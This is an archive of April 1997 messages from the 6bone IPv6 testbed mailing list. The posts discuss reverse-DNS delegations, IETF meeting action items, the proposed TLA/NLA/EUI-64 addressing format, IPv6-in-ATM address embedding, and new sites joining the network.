From majordom@ISI.EDU  Mon Apr 14 01:52:59 1997
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To: 6bone@ISI.EDU, gih@telstra.net, rzm@torun.pdi.net, bruno@tk.uni-linz.ac.at,
        tdyas@hardees.Rutgers.EDU
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;; QUESTIONS: 
;;      0.0.0.5.c.4.f.5.ip6.int, type = NS, class = IN

;; ANSWERS:
0.0.0.5.c.4.f.5.ip6.int.        129600  NS      jatz.aarnet.edu.au.
0.0.0.5.c.4.f.5.ip6.int.        129600  NS      munnari.oz.au.
0.0.0.5.c.4.f.5.ip6.int.        129600  NS      ns1.telstra.net.

...

;; QUESTIONS: 
;;      0.0.f.5.7.0.f.5.ip6.int, type = NS, class = IN

;; ANSWERS:
0.0.f.5.7.0.f.5.ip6.int.        129600  NS      len.torun.pdi.net.
0.0.f.5.7.0.f.5.ip6.int.        129600  NS      ns.isi.edu.
0.0.f.5.7.0.f.5.ip6.int.        129600  NS      len.ipv6.pdi.net.

...

;; QUESTIONS: 
;;      0.0.5.b.4.0.f.5.ip6.int, type = NS, class = IN

;; ANSWERS:
0.0.5.b.4.0.f.5.ip6.int.        129600  NS      poista.tk.uni-linz.ac.at.
0.0.5.b.4.0.f.5.ip6.int.        129600  NS      ns.isi.edu.

...

;; QUESTIONS: 
;;      0.0.e.2.0.0.f.5.ip6.int, type = NS, class = IN

;; ANSWERS:
0.0.e.2.0.0.f.5.ip6.int.        129600  NS      fezzik.rutgers.edu.
0.0.e.2.0.0.f.5.ip6.int.        129600  NS      hardees.rutgers.edu.


-- 
--bill

From majordom@ISI.EDU  Mon Apr 14 04:28:00 1997
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Subject: Re: proposed changes
To: nikm@ixa.net (Nikos Mouat)
Date: Mon, 14 Apr 1997 11:28:00 -0700 (PDT)
Cc: bmanning@ISI.EDU, 6bone@ISI.EDU
In-Reply-To: <Pine.LNX.3.96.970411102532.8255C-100000@pike.ixa.net> from "Nikos Mouat" at Apr 11, 97 10:26:06 am
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> 
> 
> Isn't this the way that all your other dns delegations are done bill?
> (ie the stuff for the exchanges) - you already have the whole thing in
> place don't you?

Well... mostly.  There are some changes that are coming down the pipe
that should better reflect new activities.  ...  like RFC 2065 support.

-- 
--bill

From majordom@ISI.EDU  Mon Apr 14 11:05:49 1997
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Date: Mon, 14 Apr 1997 16:05:49 -0500
From: Matt Crawford <crawdad@fnal.gov>
Subject: Re: 6bone action items per Memphis IETF meeting
In-Reply-To: "13 Apr 1997 15:00:32 PDT." <"v03007800af76ffdc3ddf"@[128.3.9.22]>
To: Bob Fink <RLFink@lbl.gov>
Cc: 6bone@isi.edu (6BONE Mailer)
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X-Face: 
 /RKQi"kntyd}7l)d8n%'Dum<~(aMW3,5g&'NiH5I4Jj|wT:j;Qa$!@A<~/*C:{:MmAQ:o%S /KKi}G4_.||4I[9!{%3]Hd"a*E{<k&QF?d6L7o&zLqb%kXn!!]ykXMKtTiy9#20]$EKP/^Z$T]'P6,
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> I have outlined below what I think are the
> primary action items resulting from the meeting.
> 
> Please comment on them to the mailer.  ...
> 
> A8. Performa a survey of host and router implementations in use on the
> 6bone, so the information may be made available through the 6bone web pages.

Bob,

Actually, I don't think we got to A8 due to a time shortage.  I think
people mostly agreed that would be best done by email anyway.

				Matt

From majordom@ISI.EDU  Mon Apr 14 10:06:11 1997
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References: "13 Apr 1997 15:00:32 PDT."
 <"v03007800af76ffdc3ddf"@[128.3.9.22]>
Mime-Version: 1.0
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Date: Mon, 14 Apr 1997 17:06:11 -0700
To: Matt Crawford <crawdad@fnal.gov>
From: Bob Fink <RLFink@lbl.gov>
Subject: Re: 6bone action items per Memphis IETF meeting
Cc: 6bone@isi.edu (6BONE Mailer)
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Matt,

At 2:05 PM -0700 4/14/97, Matt Crawford wrote:
...
>> A8. Performa a survey of host and router implementations in use on the
>> 6bone, so the information may be made available through the 6bone web pages.
...
>Actually, I don't think we got to A8 due to a time shortage.  I think
>people mostly agreed that would be best done by email anyway.

Yeah, we got to saying just that much as I closed the meeting for cookies
(see the minutes below), so I'm just saying it's an action item to attend
to.


Thanks,

Bob



--------------------------------------------------------------------
12. Survey of implementations / Bob Fink
--------------------------------------------------------------------

The survey of IPv6 implementations in use on the 6bone was postponed due to
lack of time.  Bob Fink volunteered to do this survey via the mail list.

--------------------------------------------------------------------



From majordom@ISI.EDU  Tue Apr 15 17:00:32 1997
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Message-Id: <c=NL%a=_%p=SPS%l=KWEK-970415130032Z-177@kwek.sps.nl>
From: "Gils van, Jan" <jang@sps.nl>
To: "'6Bone ListServer via SMTP'" <6bone@isi.edu>
Subject: IPv6, Users in the Netherlands
Date: Tue, 15 Apr 1997 15:00:32 +0200
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	Hi,

Thanks for reading this message.

I am looking for IPv6(IPng) users/developers in the Netherlands, maybe
it would be an idea to exchange information about your experince's so
far.

I am will try to install a Linux system with IPv6 and when I can find
some info about the Alpha AXP version I will also try to install it on a
Alpha Multia.

With regards Jan H. van Gils

 ___________________________________________________________________
 Jan H. van Gils               |    Software Productivity Solutions
 jang@sps.nl                   |    P.O. box 92 2810 AB Reeuwijk
 +31 (0)182-396866             |    Fokkerstraat 16 2811 ER Reeuwijk
 -------------------------------------------------------------------


From majordom@ISI.EDU  Tue Apr 15 01:21:31 1997
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To: 6bone@ISI.EDU
Date: Tue, 15 Apr 1997 08:21:31 -0700 (PDT)
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;; QUERY SECTION:
;;      f.5.ip6.int, type = NS, class = IN

;; ANSWER SECTION:
f.5.ip6.int.            1d12h IN NS     munnari.oz.au.
f.5.ip6.int.            1d12h IN NS     zesbot.ipv6.surfnet.nl.
f.5.ip6.int.            1d12h IN NS     NS.ISI.EDU.

;; ADDITIONAL SECTION:
munnari.oz.au.          14h44m45s IN A  128.250.22.2
munnari.oz.au.          14h44m45s IN A  128.250.1.21
zesbot.ipv6.surfnet.nl.  6h46m53s IN AAAA  5f04:4f00:c057:6e00:3c:c0:4fc6:9cc7
zesbot.ipv6.surfnet.nl.  6h46m53s IN A  192.87.110.60
NS.ISI.EDU.             1D IN A         128.9.128.127


Humm... :)

-- 
bill

From majordom@ISI.EDU  Tue Apr 15 08:31:35 1997
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To: "Gils van, Jan" <jang@sps.nl>
Cc: "'6Bone ListServer via SMTP'" <6bone@ISI.EDU>
Subject: Re: IPv6, Users in the Netherlands 
In-Reply-To: Your message of "Tue, 15 Apr 97 15:00:32 +0200."
             <c=NL%a=_%p=SPS%l=KWEK-970415130032Z-177@kwek.sps.nl> 
Date: Tue, 15 Apr 97 12:31:35 -0400
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Hi,

very timely.. I am doing a presentation to the New Hampshire U.S. Linux
users/developers group Wednesday night at UNH on IPv6.  I have had some
interaction with the Linux implementation, but does anyone know what/who
has the stack running on Alpha Linux...I am checking the IPng www pages
too and see two entries for Linux work..

thanks
/jim

From majordom@ISI.EDU  Tue Apr 15 17:52:44 1997
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From: bill@wizard.gsfc.nasa.gov (Bill Fink)
Message-Id: <9704160152.AA28554@wizard.gsfc.nasa.gov>
Subject: Re: Memphis IETF ngtrans-6bone WG minutes
To: RLFink@lbl.gov (Bob Fink)
Date: Tue, 15 Apr 1997 21:52:44 -0400 (EDT)
Cc: minutes@ietf.org, sob@harvard.edu, mo@uunet.uu.net, curran@bbn.com,
        tonyhain@microsoft.com, 6bone@isi.edu, deering@cisco.com,
        hinden@ipsilon.com
In-Reply-To: <v0300780aaf75a4c6ae4d@[128.3.9.22]> from "Bob Fink" at Apr 13, 97 03:00:22 pm
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> --------------------------------------------------------------------
> 7. Addressing beyond RFC1987 / Bob Fink
> --------------------------------------------------------------------
> 
> Bob Fink briefly outlined his desire for the 6bone to follow the new IPv6 addressing plan that he expected to result from the IPng WG meeting later in the week.  He postulated that, if real operational experience and feedback to developers and the IPng WG was a primary goal of the 6bone, that the 6bone should move quickly to adopt a new addressing plan and to test network renumbering.
> 
> Jim Bound expressed his concern that users might not accept the concept of renumbering in the marketplace.
> 
> Bob Fink then asked Bob Hinden to comment as IPng WG co-chair.
> 
> Bob Hinden commented that he would be presenting a preliminary new unicast addressing plan at the IPng WG meeting later in the week, and that this would result in an Internet-Draft shortly therafter.  He also supported experimentation with renumbering as a goal for the 6bone.
> 
> Further discussion was deferred to the mail list.

From one B. Fink to another... :-)

Any idea when this aggregate-based unicast addressing plan I-D will be
available?  Is this supposed to be a replacement for the geographic based
addressing option (format 100) or yet another option?

I'm working on a Federal networks ATM addressing plan, and I'm proposing
to use IPv6 addresses embedded in ATM NSAP addresses.  I was originally
planning to use a geographic based scheme, but perhaps I should check
out this new addressing I-D to see what options it provides.  The bottom
line is I need real IPv6 addresses from some registration authority.
Is a registry for the US / North America defined at this point for any
of the addressing options?

						-Bill

From majordom@ISI.EDU  Tue Apr 15 14:18:58 1997
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References: <v0300780aaf75a4c6ae4d@[128.3.9.22]> from "Bob Fink" at Apr
 13, 97 03:00:22 pm
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Date: Tue, 15 Apr 1997 21:18:58 -0700
To: bill@wizard.gsfc.nasa.gov (Bill Fink)
From: Bob Fink <RLFink@lbl.gov>
Subject: Re: Memphis IETF ngtrans-6bone WG minutes
Cc: minutes@ietf.org, sob@harvard.edu, mo@uunet.uu.net, curran@bbn.com,
        tonyhain@microsoft.com, 6bone@isi.edu, deering@cisco.com,
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Bill,

At 6:52 PM -0700 4/15/97, Bill Fink wrote:
...
>Any idea when this aggregate-based unicast addressing plan I-D will be
>available?  Is this supposed to be a replacement for the geographic based
>addressing option (format 100) or yet another option?

Bob Hinden promised it in a week or two from the meeting.  He has (as we
all do) a great interest in getting it out quickly, so I would expect it
soon.

As for what it is, it is provider-like addressing in that the owner of a
block assigns sub parts of it, delegating downwards, but there are several
very important differences:

1. an exchange (like a NAP with extra functionality) can be registered as
well as a provider at the top-level.  This makes it quasi geo/metro-like.
People getting their delegation from an exchange (as opposed to a provider)
will then arrange who will be their transit provider beyond the exchange
point of connection, and won't have to renumber as long as the exchange
operator stays in business.  Maybe transit arrangements are also another
business opportunity for the exchange operator.

2. the TLA (Top Level Aggregator) is limited to 13 bits to limit the
high-level routing complexity.  no words yet on who gets to be one of
these...stay tuned.

3. no registry bits are wasted, small blocks of TLAs will be handed out to
various registries as appropriate.

4. the IEEE EUI-64 was accepted, thus fixing the node id to 64 bits and
reducing the "routing goop" site prefix size to just 48-bits.  With the
site partition (subnet) field being 16 bits it means that the routing is
now able to be done on 64 bits.

5. the EUI-64 "global/local" bit will have significance in that if it is
set to "global" it may be treated as globally unique, while setting it
"local" will mean that it can then be formatted in a non-globally unique
fashion.

 | 3 | 13 bits |      32 bits   |    16   |            64 bits              |
 +---+---------+----------------+---------+---------------------------------+
 |010|   TLA   |        NLA*    |  subnet |        EUI-64 node id           |
 +---+---------+----------------+---------+---------------------------------+

TLA = Top Level Aggregator
NLA* = Next Level Aggregator
EUI-64 = http://standards.ieee.org/db/oui/tutorials/EUI64.html

>I'm working on a Federal networks ATM addressing plan, and I'm proposing
>to use IPv6 addresses embedded in ATM NSAP addresses.  I was originally
>planning to use a geographic based scheme, but perhaps I should check
>out this new addressing I-D to see what options it provides.  The bottom
>line is I need real IPv6 addresses from some registration authority.
>Is a registry for the US / North America defined at this point for any
>of the addressing options?

No registry exists at this time.  We anticipate starting with a test TLA
for the 6bone so we can start testing this whole thing, including
delegation and renumbering, as soon as possible.

Comments now appropriate from "all" on usability of EUI-64 for your
purpose.  There is a registry for it.


Apologies if I've misrepresented any of Bob's ideas here, but it is
probably useful to have some interpretation of this plan while we are
waiting on Bob :-)


Bob



From majordom@ISI.EDU  Wed Apr 16 12:44:35 1997
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From: "(Brian E Carpenter)" <brian@hursley.ibm.com>
Subject: Re: Memphis IETF ngtrans-6bone WG minutes
To: 6bone@isi.edu
In-Reply-To: <v03007800af79fcabd638@[128.3.9.22]> from "Bob Fink" at Apr 15, 97 09:18:58 pm
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Bill,
> 
> >I'm working on a Federal networks ATM addressing plan, and I'm proposing
> >to use IPv6 addresses embedded in ATM NSAP addresses.  

I have to say I don't see the advantage in this; they are
orthogonal addressing spaces. But if you do it, I hope you'll
use the mapping in RFC 1888, section 6. 

> >I was originally
> >planning to use a geographic based scheme, 

There is no defined IPv6 geographic scheme.

  Brian Carpenter

From majordom@ISI.EDU  Wed Apr 16 19:58:26 1997
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From: Stephane Bortzmeyer <bortzmeyer@pasteur.fr>
Subject: traceroute with IPv6 from a Web server
To: 6bone@ISI.EDU
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Date: Wed, 16 Apr 97 17:58:26 +0200
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In order to let people on the 6bone try it from various points of view, 
it would be a good idea to have a network of "traceroute servers" 
allowing people to see the 6bone on various sides.

As fas as I know, there is currently no such server. So, I've set up one. 
I hope it will be the first of a large family:

http://www.ipv6.internatif.org/cgi-bin/traceroute

Feel free to use it and to report any problem, suggestion, etc.



From majordom@ISI.EDU  Thu Apr 17 16:02:54 1997
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From: Stephane Bortzmeyer <bortzmeyer@pasteur.fr>
To: 6bone@ISI.EDU
Subject: Re: traceroute with IPv6 from a Web server 
In-Reply-To: <199704161558.RAA12421@josephine.sis.pasteur.fr> 
     (Stephane Bortzmeyer <bortzmeyer@pasteur.fr>'s message of 
     Wed, 16 Apr 97 17:58:26 +0200)
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On Wednesday 16 April 97, at 17 h 58, the keyboard of Stephane Bortzmeyer 
<bortzmeyer@pasteur.fr> wrote:

> As fas as I know, there is currently no such server. So, I've set up one. 
> I hope it will be the first of a large family:

Here is the second one :-)

http://www.ipv6.pasteur.fr/IPv6/traceroute.html

Unfortunately. it is too close (network-wise) from the first. At least 
it's a different operating system. And a new script.


From majordom@ISI.EDU  Thu Apr 17 17:31:09 1997
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From: lf@elemental.net (Lars Fenneberg)
Subject: Re: IPv6, Users in the Netherlands
To: bound@zk3.dec.com
Date: Thu, 17 Apr 1997 15:31:09 +0200 (MEST)
Cc: jang@sps.nl, 6bone@ISI.EDU
In-Reply-To: <9704151631.AA29843@wasted.zk3.dec.com> from "bound@zk3.dec.com" at Apr 15, 97 12:31:35 pm
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Hi all!

You, bound@zk3.dec.com, said:

> users/developers group Wednesday night at UNH on IPv6.  I have had some
> interaction with the Linux implementation, but does anyone know what/who
> has the stack running on Alpha Linux...

	I think Philip Blundell <pjb27@cam.ac.uk> has IPv6 running
	on Alpha Linux.

Regards,
	Lars.
-- 
Lars Fenneberg, lf@elemental.net (private), lf@cityline.net (work)
pgp fingerprint  D1 28 F1 FF 3C 6B C0 27   CC 9C 6C 09 34 0A 55 18

From majordom@ISI.EDU  Thu Apr 17 17:31:48 1997
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From: bill@wizard.gsfc.nasa.gov (Bill Fink)
Message-Id: <9704180131.AA00758@wizard.gsfc.nasa.gov>
Subject: Re: Memphis IETF ngtrans-6bone WG minutes
To: RLFink@lbl.gov (Bob Fink)
Date: Thu, 17 Apr 1997 21:31:48 -0400 (EDT)
Cc: minutes@ietf.org, sob@harvard.edu, mo@uunet.uu.net, curran@bbn.com,
        tonyhain@microsoft.com, 6bone@isi.edu, deering@cisco.com,
        hinden@ipsilon.com
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> Date: Tue, 15 Apr 1997 21:18:58 -0700
> From: Bob Fink <RLFink@lbl.gov>
> 
> 1. an exchange (like a NAP with extra functionality) can be registered as
> well as a provider at the top-level.  This makes it quasi geo/metro-like.
> People getting their delegation from an exchange (as opposed to a provider)
> will then arrange who will be their transit provider beyond the exchange
> point of connection, and won't have to renumber as long as the exchange
> operator stays in business.  Maybe transit arrangements are also another
> business opportunity for the exchange operator.

I like this.

> 2. the TLA (Top Level Aggregator) is limited to 13 bits to limit the
> high-level routing complexity.  no words yet on who gets to be one of
> these...stay tuned.
> 
> 3. no registry bits are wasted, small blocks of TLAs will be handed out to
> various registries as appropriate.

This is kind of critical.  For the Federal networking addressing
I'm working on, I'd like to have the IANA allocate a small block
of TLAs to for example NIST, as the standards body for the US, who
could then suballocate portions of this space to various federal
organizations.  The general consensus among the federal groups I
am working with favors some type of geographic based addressing
scheme.

> 4. the IEEE EUI-64 was accepted, thus fixing the node id to 64 bits and
> reducing the "routing goop" site prefix size to just 48-bits.  With the
> site partition (subnet) field being 16 bits it means that the routing is
> now able to be done on 64 bits.

I really don't like this at first glance.  64 bits of basically flat
space for a given subnet seems like major overkill.  I thought that
48 bits of flat space was overkill, but I could see the significant
advantage to that.  I don't see any advantage to increasing this to
64 bits and I do see a major disadvantage.

The disadvantage is that it only leaves 32 bits for the NLA, which
seriously reduces the flexibility of the RG.  If you broke this down
for example into 3 fields for provider, sub-provider, and site, each
field would only be about 10 bits or about 1000 possibilities, and
you might want to have more fields.  For the geographic based scheme
I was proposing as a strawman, I had 5 fields, namely region (10 bits),
metro (10), locality (10), organization(10), and site (8), which adds
up to 48 bits.  Trying to squeeze something like this down into 32
bits would be quite difficult.

> 5. the EUI-64 "global/local" bit will have significance in that if it is
> set to "global" it may be treated as globally unique, while setting it
> "local" will mean that it can then be formatted in a non-globally unique
> fashion.

Maybe I missed it in the web page reference, but I didn't notice any
reference to the "global/local" bit, although I know they have this
for EUI-48.  Once again, I don't see any utility/advantage to using
EUI-64.  EUI-48 makes sense since it's used quite universally in
Ethernet, FDDI, ATM, etc MAC layer addresses, but I've yet to see
anything that uses EUI-64, and it just seems a monumental waste of
valuable address space.

>  | 3 | 13 bits |      32 bits   |    16   |            64 bits              |
>  +---+---------+----------------+---------+---------------------------------+
>  |010|   TLA   |        NLA*    |  subnet |        EUI-64 node id           |
>  +---+---------+----------------+---------+---------------------------------+
> 
> TLA = Top Level Aggregator
> NLA* = Next Level Aggregator
> EUI-64 = http://standards.ieee.org/db/oui/tutorials/EUI64.html
> 
> >I'm working on a Federal networks ATM addressing plan, and I'm proposing
> >to use IPv6 addresses embedded in ATM NSAP addresses.  I was originally
> >planning to use a geographic based scheme, but perhaps I should check
> >out this new addressing I-D to see what options it provides.  The bottom
> >line is I need real IPv6 addresses from some registration authority.
> >Is a registry for the US / North America defined at this point for any
> >of the addressing options?
> 
> No registry exists at this time.  We anticipate starting with a test TLA
> for the 6bone so we can start testing this whole thing, including
> delegation and renumbering, as soon as possible.

As indicated earlier, I would like to see IANA allocate a small block
of TLAs to someone like NIST, who could then suballocate addresses to
US federal organizations.

> Comments now appropriate from "all" on usability of EUI-64 for your
> purpose.  There is a registry for it.

EUI-64 would make what I'm trying to achieve more difficult, since
there's no longer a natural match with existing 48-bit MAC addresses,
which the ATM addressing currently uses as the ESI.  However, I'm not
saying it's impossible, only that it's no longer as natural a fit.
Also, for handling IPv4 addresses in ATM NSAP addresses, I was looking
to embed the IPv4 address in the low order 32 bits of the ATM NSAP
address (not counting the SEL field), with an appropriate IPv6 route
prefix (RG) in the upper bits of the ATM NSAP address (not counting
the AFI/ICD fields).  I'll have to see how this can fit into the new
aggregator based IPv6 addressing format.

> Apologies if I've misrepresented any of Bob's ideas here, but it is
> probably useful to have some interpretation of this plan while we are
> waiting on Bob :-)

I think it's quite useful.  Thanks for sketching it out.  I look
forward to reading all the gory details when the I-D comes out.

> Bob

						-Bill

From majordom@ISI.EDU  Thu Apr 17 18:40:04 1997
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	id AA00881; Thu, 17 Apr 97 22:40:05 -0400
From: bill@wizard.gsfc.nasa.gov (Bill Fink)
Message-Id: <9704180240.AA00881@wizard.gsfc.nasa.gov>
Subject: Re: Memphis IETF ngtrans-6bone WG minutes
To: brian@hursley.ibm.com
Date: Thu, 17 Apr 1997 22:40:04 -0400 (EDT)
Cc: 6bone@isi.edu
In-Reply-To: <9704161044.AA80676@hursley.ibm.com> from "majordom@ISI.EDU" at Apr 16, 97 11:44:35 am
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> Bill,
> > 
> > >I'm working on a Federal networks ATM addressing plan, and I'm proposing
> > >to use IPv6 addresses embedded in ATM NSAP addresses.  
> 
> I have to say I don't see the advantage in this; they are
> orthogonal addressing spaces. But if you do it, I hope you'll
> use the mapping in RFC 1888, section 6. 

Brian,

Well, IEEE 48-bit MAC addresses are orthogonal to IPv6 or ATM NSAP
addresses but there was apparently an advantage to embedding MAC
addresses in IPv6 and ATM NSAP addresses.

I happen to think there are major advantages to be obtained from
recognizing that both IPv6 and ATM NSAP addresses are 128 bits long
(not counting the AFI/ICD and SEL fields in the ATM NSAP addresses),
hierarchical, and globally unique, which allows a very natural
equivalence to be formed between the two addressing spaces.

Some of the major advantages of this approach include:

	* Simplicity and ease of understanding

	* Facilitates and simplifies network management and
	  troubleshooting of ATM networks

	* Works with both IPv4 and IPv6

	* Eliminates the need for the complexity of NHRP
	  (and possibly also ATMARP at a later stage)

	* Provides for direct shortcut routing across an ATM
	  infrastructure across LIS boundaries

	* Provides for distributed ATMARP service

	* Very easy to implement

	* Only one name and address space to devise, administer,
	  and manage

	* Scalable

	* Minimizes latency on connection setup

	* DNS would also be a directory for ATM addresses which
	  would facilitate native ATM operation if desired

	* Uniform user interface and maximum user benefit

	* Can leverage existing IP capabilities to provide the
	  same capabilities at the ATM layer, and IP can take full
	  advantage of the ATM layer - basically avoids unnecessary
	  duplication of effort which would otherwise be required
	  in solving the same basic problem (such as security
	  considerations) at multiple layers

My early ideas on all of the above I wrote up in a long since expired
Internet Draft entitled "IP/ATM Integrated Routing & Addressing (IRA)
Model".  If anyone is interested in checking it out, it is still
available at:

	http://www.nasa.atd.net/draft-fink-ipatm-ira-00.html

I am considering writing up a new version of the IRA Model I-D
(if I can ever find a few free days), based on comments I received
on the original and additional ideas that have occurred to me after
additional thought on the subject.  The one thing that has held me
back is that the IP switching model is probably an even better way
of integrating the IP and ATM layers.  It's a matter of how quickly
that model can be standardized and generally accepted.

Regarding your comment about RFC 1888, yes I was following the
format described in it for embedding IPv6 addresses in ATM NSAP
addresses.  However, I do have a question/concern regarding the
proposed encapsulation.  It uses a new AFI (35) and I don't think
that is currently one of the approved ATM NSAP formats by the
ATM Forum, so there is some concern that this could potentially
lead to some operational problems.  The original Internet Draft
version of this subject used the normal AFI of 47 with an ICD
of 0090, which definitely would not be a problem for ATM use.
What was the rationale for changing this to use a new AFI?

> > >I was originally
> > >planning to use a geographic based scheme, 
> 
> There is no defined IPv6 geographic scheme.

I know.  :-(

That's definitely a major stumbling block.  If it came down to that,
I was even considering submitting a proposal for an IPv6 geographic
scheme.  However, this may not be necessary, as the basic goal may
be readily achievable via the new aggregator based addressing format.

>   Brian Carpenter

						-Bill

From majordom@ISI.EDU  Fri Apr 18 12:14:32 1997
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From: "(Brian E Carpenter)" <brian@hursley.ibm.com>
Subject: Re: Memphis IETF ngtrans-6bone WG minutes
To: 6bone@isi.edu
In-Reply-To: <9704180131.AA00758@wizard.gsfc.nasa.gov> from "Bill Fink" at Apr 17, 97 09:31:48 pm
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>- Bill Fink said:
....
> you might want to have more fields.  For the geographic based scheme
> I was proposing as a strawman, I had 5 fields, namely region (10 bits),
> metro (10), locality (10), organization(10), and site (8), which adds
> up to 48 bits.  

So you are ready to assert that the networks concerned will have a
physical topology that matches this geographical topology precisely,
for the next few decades? 

Bill, the reason there is no defined geographical addressing scheme
for IPv6 is that nobody has yet described one that has met consensus
that it is scaleable and routable. 

  Brian Carpenter


From majordom@ISI.EDU  Fri Apr 18 15:04:22 1997
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From: Brian Williams <brianw@unidec.co.uk>
To: "'6bone@isi.edu'" <6bone@isi.edu>
Subject: New Site on Bone
Date: Fri, 18 Apr 1997 14:04:22 +0100
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Hi,

Unidec Systems Ltd (USL-UK) is now connected upto the 6Bone.
The IPv4 Tunnel is connected to DIGITAL-ETC (Digital in Sophia), thanks
to Robert Watson.

At the moment we have two nodes running with IPv6.

A) Digital Routabout (RIPng)
	5F1A:5900:C3A6:1300:0001:0800:2BB9:EE57
B) Digital Unix (Auto configured) IPv6 test code
	5F1A:5900:C3A6:1300:0001:0800:2BBB:B706


Everything should Ping Ok and should be up all the time
I hope that I have done everything in the correct order and manner, if
not please  
forgive my mistakes.


Best Regards 

Brian Williams 


PS. I have entered the following information on the FTP site 

site:           Unidec Systems Ltd
location:       Manor Chambers, Marygate, York, Engand
loc-string:     53 57 40N 1 5 12W
prefix:         5F1A:5900:C3A6:1300:0001::/80
ping:           5F1A:5900:C3A6:1300:0001:0800:2BB9:EE57
ping:           5F1A:5900:C3A6:1300:0001:0800:2BBB:B706
tunnel:         195.166.19.5 193.56.15.54  DIGITAL-ETC
contact:        brianw@unidec.co.uk, ianb@unidec.co.uk
status:         operational since 16-Apr-1997
remark:		Tel :: +44 (0)1904 670670
remark:		Fax :: +44 (0)1904 670570
remark:		Tunnel Suppled By Digital Equipment Co.
remark:         Digital RouteAbout Access EW /IPv6
remark:         New tunnels added, RIP only, send mail to contact
remark:		5F1A:5900:C3A6:1300:0001:0800:2BBB:B706 is DECunix/IPv6
changed:        brianw@unidec.co.uk
source:         RIPE


From majordom@ISI.EDU  Fri Apr 18 00:50:17 1997
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Date: Fri, 18 Apr 1997 07:50:17 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink <RLFink@lbl.gov>
Subject: new 6bone diagram - version 66
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new 6bone diagram - version 66

	FTP-SOFTWARE/US to UNH/US

	BME-FSZ/HU moved to JOIN/DE  (closer path)


Welcome to FTP-SOFTWARE, developers of IPv6 for Windows platforms!


Bob



From majordom@ISI.EDU  Fri Apr 18 09:04:17 1997
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From: "Harrington, Dan" <dth@lucent.com>
To: 6bone@ISI.EDU
Subject: RE: Memphis IETF ngtrans-6bone WG minutes
Date: Fri, 18 Apr 1997 13:04:17 -0400
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Hi Bill,

You had asked:
> [...] However, I do have a question/concern regarding the
> proposed encapsulation.  It uses a new AFI (35) and I don't think
> that is currently one of the approved ATM NSAP formats by the
> ATM Forum, so there is some concern that this could potentially
> lead to some operational problems.  The original Internet Draft
> version of this subject used the normal AFI of 47 with an ICD
> of 0090, which definitely would not be a problem for ATM use.
> What was the rationale for changing this to use a new AFI?

My recollection (and I was not involved in the actual
discussions taking place) was that the use of IANA's
ICD value for this purpose left no possibility of any
other potential use, and was thus considered too restrictive.
The new AFI value was a way to avoid this limitation (although
it clearly was not the only possible solution).

Dan

From majordom@ISI.EDU  Fri Apr 18 09:07:22 1997
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To: 6bone@isi.edu
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From: Frank T Solensky <solensky@ftp.com>
Subject: New 6bone site
Date: Fri, 18 Apr 1997 13:07:22 -0400
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FTP Software is now hooked up to the 6bone via a tunnel to UNH.
The RIPE db info follows and is already in the registry; I'm looking
to find out our elevation now.  The first IPv6 address should be pingable,
the second should be set up later today.

site:		FTP-SOFTWARE
location:	North Andover, MA
loc-string:	42 42 10.33n 71 07 31.44w
prefix:		5f00:0100:807f::/48
ping:		5f00:0100:807f:0000:0400:0800:201f:4eaa
ping:		5f00:0100:807f:0000:f100:0020:afa2:f408
tunnel:		128.127.4.5 132.177.118.22 UNH
contact:	Bill Lambroukas <lamby@ftp.com>
status:		operational
remark:		Happily echoing your pings since April 1997
changed:	solensky@ftp.com 970417
source:		RIPE


From majordom@ISI.EDU  Sat Apr 19 19:13:51 1997
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Date: Sat, 19 Apr 1997 18:13:51 +0100
To: 6bone@ISI.EDU
From: Ben Crosby <ben@tellus.co.uk>
Subject: Update on USOT-ECS/UK
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Hi, 

	A huge thanks to all of you who have been providing me 
with help..

	I'm now fairly happy with USOT-ECS, and the following 
stuff has changed recently;

	We are now providing the Defence Research Agency (DRA/UK)
with their 6bone connectivity, via UUNET and SICS. We've finally
got our nameservers sorted, and so 6bone-gw.ipv6.ecs.soton.ac.uk
should be pingable.

	The two mailing lists that are run from here, uk6bone and
ip6ac are now accessible via IPv6, and can accept ipv6 email
addresses for subscriptions.

	I'm very close to being able to supply and accept a newsfeed 
over IPv6, thanks to Craig Metz' hard work. Those interested in joining 
in, please email me. 

Thanks,

	Ben.



From majordom@ISI.EDU  Mon Apr 21 09:54:42 1997
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Date: Mon, 21 Apr 1997 16:54:42 -0700 (PDT)
From: Daniel Chiu <dchiu@cs.ubc.ca>
To: 6bone@isi.edu
Subject: Attachment point to 6bone
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Hi,

I would like to connect my user machine to the 6bone and would like to 
know if someone would be willing to tell me which would be the most 
appropriate attachment point?

Thank you for your assistance.

Daniel Chiu
dchiu@cs.ubc.ca

From majordom@ISI.EDU  Tue Apr 22 21:45:14 1997
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From: Jarius Jenkins <jarius@iac.co.jp>
To: 6bone@ISI.EDU
Subject:  Attachment point to 6bone
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Hello,
	I am looking to attach a couple of machines to the 6bone. Right
now I have 1 Linux machine, 1 Sparc/Solaris, and 1 Windows95 Machine. I
work for an Internet Service Provider in Japan, and have contacted WIDE
about a connection. They informed me that theirs is for research only, and
wanted to know what research I could provide them with. At this point, I
have no specific "research" under which to connect to them... In the
future we will be looking into integrating this with our customer base
(obviously a while off now), but for now I am just trying to get things
set up. 
	I have the information for my systems now, but we will be swithing
from our current connection of 1 64k lan connection, and 1 128k connection
to two 128k connections (obtaining new IP addresses and probably with
different ASN's from the current connections). As for the future, we are
connected through two of Japan's giants in telecommunications, and have
greater than 15Mbps bandwidth to our servers, but those are offsite, and
will only obtain IPV6 connections after they have been tested inhouse, and
have been proven to work.


From majordom@ISI.EDU  Tue Apr 22 10:34:19 1997
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From: "(Brian E Carpenter)" <brian@hursley.ibm.com>
Subject: Re: Memphis IETF ngtrans-6bone WG minutes
To: dth@lucent.com (Harrington Dan)
Cc: 6bone@ISI.EDU
In-Reply-To: <D7014D55F851D0118203080009DCE8F102E2E6@SNOOPY> from "Harrington, Dan" at Apr 18, 97 01:04:17 pm
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The reason for the new AFI was that using the ICD didn't leave any
code point for future use by the IANA; the new AFI gives the IANA
a 16 bit code point for future use. This was done at the insistence
of the IANA; personally I'd have stayed with the ICD, but that's
water under the bridge.

Actually Juha Heinanen may want a second code point, to provide
a pure IPv4-in-ATM address embedding. He certainly hasn't expressed
concern about the new AFI value. He has found a minor error
in the RFC though (it doesn't spell out the complete IDP correctly,
as I recall without checking.)

  Brian Carpenter

>- Harrington, Dan said:
> 
> Hi Bill,
> 
> You had asked:
> > [...] However, I do have a question/concern regarding the
> > proposed encapsulation.  It uses a new AFI (35) and I don't think
> > that is currently one of the approved ATM NSAP formats by the
> > ATM Forum, so there is some concern that this could potentially
